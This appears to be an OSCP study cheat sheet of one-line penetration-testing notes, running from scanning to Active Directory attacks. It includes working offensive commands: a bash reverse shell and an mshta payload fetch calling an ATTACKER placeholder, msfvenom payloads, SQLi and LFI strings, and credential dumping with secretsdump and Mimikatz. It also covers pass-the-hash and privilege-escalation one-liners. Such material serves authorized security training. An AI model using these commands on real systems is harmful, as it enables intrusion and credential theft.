OSCP cheat sheet

TCP connect scan (-sT) completes the three-way handshake and needs no raw-socket privilege; SYN scan (-sS) sends SYN, reads SYN/ACK, and sends RST, requiring raw-socket access.

Nmap -sV probes service versions; -sC runs the default NSE script set; -p- covers all 65535 TCP ports; -Pn skips host discovery.

UDP results: an ICMP port-unreachable reply means closed, a UDP response means open, and no reply is open|filtered; --top-ports 100 limits a slow scan.

DNS records worth querying: A, AAAA, MX, NS, TXT, SOA, and SRV; AXFR zone transfer succeeds only when the server permits the requester.

Anonymous SMB listing: smbclient -L //HOST -N; enum4linux-ng and rpcclient enumerate users, groups, shares, and password policy.

SNMPv1/v2c uses a clear-text community string; snmpwalk -v2c -c public HOST walks the MIB when the string is valid.

Web content discovery: feroxbuster or gobuster for paths, ffuf for parameter and vhost fuzzing; filter responses by status, size, and word count.

LDAP enumeration: ldapsearch -x -H ldap://HOST -s base namingContexts, then -b 'dc=example,dc=com' to list objects.

CVSS base score measures intrinsic exploitability and impact on a 0.0-10.0 scale; temporal and environmental scores modify it but are not part of the base.

Nmap --script vuln runs NSE checks for known issues; a positive result is a lead, not proof, because version checks and scripts can return false positives.

Nikto reports server banners, dangerous files, missing security headers, and outdated software; it does not authenticate by default.

searchsploit TERM queries the local Exploit-DB copy; --exclude removes noise, and -w prints the Exploit-DB URL.

Authenticated vulnerability scans use host credentials and detect missing patches and local misconfigurations that unauthenticated network scans cannot see.

Validate a suspected vulnerability by reproducing it manually, confirming the exact version, and correlating with vendor advisories or a second scanner.

TLS checks: testssl.sh or sslscan reveal expired certificates, weak protocols such as SSLv3/TLS1.0, weak ciphers, and Heartbleed.

SMB vulnerability scripts: nmap --script smb-vuln-* --script-args=unsafe=1; MS17-010 checks are a common example.

Prioritize by reachability, required privileges, exploit availability, and business impact rather than CVSS alone.

SQLi authentication bypass: ' OR 1=1-- - ; determine column count with ORDER BY n or UNION SELECT NULL,... and extract data with UNION SELECT.

sqlmap -r request.txt reuses a captured HTTP request, including cookies and headers; --batch and --level/--risk adjust automation.

Command injection metacharacters: ; | || & && $(...) and backticks; confirm blind execution with sleep or an out-of-band DNS/HTTP callback.

LFI payloads: ../../etc/passwd and php://filter/convert.base64-encode/resource=index.php; log poisoning or /proc/self/environ can turn LFI into RCE.

RFI executes a remote file only when allow_url_include=On; otherwise the include may still disclose or fetch content.

Upload bypass: change Content-Type, try alternate extensions (.php5, .phtml, .phar), double extensions, .htaccess, and magic-byte prefixes.

XSS types: reflected, stored, and DOM-based; cookie theft works only if the session cookie lacks HttpOnly.

SSRF targets: 127.0.0.1, localhost, internal RFC1918 ranges, file://, gopher://, and cloud metadata at 169.254.169.254.

JWT attacks: test alg=none, weak HMAC secrets, and kid/jku injection; verify server-side signature enforcement.

Client-side attacks execute on the user's workstation; delivery vectors include malicious Office documents, HTA files, LNK files, ISO/IMG containers, and phishing links.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o payload.exe generates a Windows reverse payload.

HTA execution: mshta.exe http://ATTACKER/payload.hta runs HTML Application script outside the browser's normal sandbox.

Office macros run when enabled; a .docm with an AutoOpen routine can launch a payload, and macro security settings determine success.

Responder poisons LLMNR, NBT-NS, and mDNS to capture NetNTLMv1/v2 hashes; NTLM relay needs SMB signing disabled and a target accepting the relayed auth.

Mark-of-the-Web is applied to files from the internet; container formats such as ISO can avoid it, and users must still open the file.

Credential phishing pages harvest passwords, while reverse-proxy phishing can capture session cookies and bypass MFA when cookies are not bound.

C2 egress commonly uses 80/443 or DNS to blend with normal traffic; check proxy and egress filtering before choosing a channel.

Hydra: hydra -l USER -P WORDLIST ssh://TARGET tests one user; -L USERS supplies multiple usernames.

Hashcat -m selects the hash mode: 0 MD5, 1000 NTLM, 1800 sha512crypt, 13100 Kerberoast; -a 0 is dictionary mode.

Pass-the-hash uses an NTLM hash directly: impacket-psexec -hashes LM:NT DOMAIN/USER@TARGET; it requires the account to have admin rights on the target.

NetNTLMv2 challenge-response hashes cannot be used for pass-the-hash; they can be cracked offline or relayed.

Reverse shell example: bash -i >& /dev/tcp/ATTACKER/PORT 0>&1; start a listener with nc -lvnp PORT.

Metasploit handler: use exploit/multi/handler, set PAYLOAD, LHOST, LPORT, then run to catch a reverse shell.

secretsdump.py DOMAIN/USER:PASS@TARGET extracts SAM, LSA secrets, and cached domain credentials when run with sufficient rights.

Password spraying tries one password across many accounts to avoid lockout; check the domain lockout policy first.

Kerberoast with GetUserSPNs.py DOMAIN/USER:PASS -request; crack the returned TGS offline with hashcat mode 13100.

sudo -l lists permitted sudo commands; check each binary in GTFOBins for an escape such as :!sh from vi.

SUID discovery: find / -perm -4000 -type f 2>/dev/null; GTFOBins maps SUID binaries to shell escapes.

Capabilities: getcap -r / 2>/dev/null; cap_setuid on a binary can yield a root shell, and cap_dac_read_search can read protected files.

Cron: inspect /etc/crontab and /etc/cron.*; a writable script or relative command path enables code execution as the cron user.

Kernel exploits: uname -a and cat /etc/os-release identify the kernel/distro; match against searchsploit or known CVEs such as PwnKit.

Writable /etc/passwd: add a root-equivalent user with openssl passwd -1 or -6 and a UID of 0.

NFS no_root_squash: mount the export, create a SUID root binary as client root, and execute it on the target.

Credential hunting: ~/.bash_history, config files, environment variables, SSH keys, and database files; linpeas automates checks.

Docker group membership is root-equivalent: docker run -v /:/mnt --rm -it alpine chroot /mnt sh.

whoami /priv lists token privileges; SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege enables JuicyPotato, PrintSpoofer, or GodPotato.

SeBackupPrivilege and SeRestorePrivilege can copy protected files such as SAM and SYSTEM for offline hash extraction.

Unquoted service paths with spaces: use wmic service get name,displayname,pathname,startmode and accesschk to find writable directories.

Service binary or config permissions: icacls and accesschk /uwc identify writable service executables or directories that run as SYSTEM.

AlwaysInstallElevated requires both HKLM and HKCU policies set to 1; then msiexec /i malicious.msi runs with SYSTEM rights.

Scheduled tasks with writable scripts or binaries run at a privileged level; review task XML and file ACLs.

Credential stores: cmdkey /list, Unattend.xml, sysprep files, Group Policy Preferences cpassword, and browser profiles.

Mimikatz sekurlsa::logonpasswords dumps logon credentials from LSASS; admin rights and AV/EDR evasion are prerequisites.

Token impersonation: Incognito or Meterpreter incognito can impersonate a delegated token from a privileged process.

SSH local forward: ssh -L 8080:target:80 user@pivot; traffic to localhost:8080 goes through the pivot to target:80.

SSH remote forward: ssh -R 8080:localhost:80 user@pivot exposes the attacker's local port on the pivot; -D 1080 creates a SOCKS proxy.

Proxychains config /etc/proxychains4.conf: add socks5 127.0.0.1 1080; prefix tools with proxychains4, and note ICMP and UDP may not traverse.

Chisel: server chisel server -p 8000 --reverse; client chisel client ATTACKER:8000 R:socks creates a reverse SOCKS proxy.

socat TCP-LISTEN:8080,fork TCP:target:80 forwards a local TCP port to a target service.

Windows netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=TARGET; firewall rules still apply.

SSH ProxyJump: ssh -J user@pivot user@target connects through the pivot without a separate local forward.

Bind shells listen on the target and require inbound access; reverse shells connect out and are preferred when egress is allowed.

Kerberoasting: GetUserSPNs.py DOMAIN/USER:PASS -request returns TGS tickets for SPN accounts; crack them offline with hashcat -m 13100.

AS-REP roasting: GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -request targets accounts with Kerberos preauthentication disabled.

BloodHound/SharpHound collects users, groups, sessions, and ACL edges; query shortest paths to Domain Admins.

DCSync: secretsdump.py -just-dc DOMAIN/USER:PASS@DC uses replication rights to extract domain password hashes.

Golden ticket: forge a TGT with the krbtgt hash; valid until krbtgt is changed twice. Silver ticket uses a service account hash.

Pass-the-ticket: Rubeus ptt /ticket:base64 or Mimikatz kerberos::ptt injects a Kerberos ticket into the current session.

ACL abuse: GenericAll, GenericWrite, WriteDACL, and ForceChangePassword can reset passwords or grant DCSync rights.

Unconstrained delegation hosts capture TGTs of connecting users; constrained delegation uses S4U2Self/S4U2Proxy.

AD CS ESC8: NTLM relay to the certificate enrollment HTTP endpoint can issue a certificate for a relayed machine or user account.